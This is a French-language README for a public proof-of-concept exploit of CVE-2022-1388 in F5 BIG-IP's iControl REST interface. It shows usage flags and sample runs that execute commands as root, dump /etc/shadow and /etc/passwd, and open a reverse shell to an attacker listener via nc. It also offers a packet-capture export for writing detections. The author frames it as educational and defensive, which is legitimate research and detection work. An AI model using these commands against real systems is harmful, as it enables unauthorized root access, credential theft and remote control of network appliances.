
-- POUR USAGE ÉDUCATIF UNIQUEMENT -- Preuve de concept RCE pour CVE-2022-1388, plus quelques fonctionnalités ajoutées pour les blue et red teams.
L'auteur n'est pas responsable et ne peut être tenu pour responsable de toute action entreprise avec quelque aspect que ce soit de ce projet/dépôt. J'ai créé cela dans le but de comprendre l'attaque ainsi que d'écrire des détections dans un SIEM, et j'ai voulu le partager pour que d'autres puissent faire de même. Utilisation à vos propres risques.
Cet exploit cible la vulnérabilité REST iControl BIG-IP CVE-2022-1388 dans les systèmes F5. Veuillez consulter l'avis F5 (https://support.f5.com/csp/article/K23605346) pour les versions concernées et d'autres informations.
N'hésitez pas à proposer une PR ou à signaler tout problème. Ceci a été testé sur quelques F5 VE vulnérables dans Google Cloud à partir d'une machine CentOS avec Python 3.6.
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
Spécifier le drapeau -e (--export) créera deux fichiers : detection.pcap et ssl-key.log. Ces fichiers seront écrasés à chaque fois que le drapeau -e est spécifié, alors pensez à déplacer ou renommer les fichiers que vous souhaitez conserver. Le fichier ssl-key.log peut être importé dans Wireshark via Préférences -> Protocoles -> TLS -> nom de fichier du journal de clés (Master)-Secret pour déchiffrer la session TLS. Notez qu'en raison de tcpdump, lors de l'utilisation de -e, le script doit être exécuté en sudo.
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
Avant le déchiffrement TLS :
Ajout du fichier ssl-key.log exporté automatiquement dans les préférences TLS de Wireshark :
Après le déchiffrement TLS :
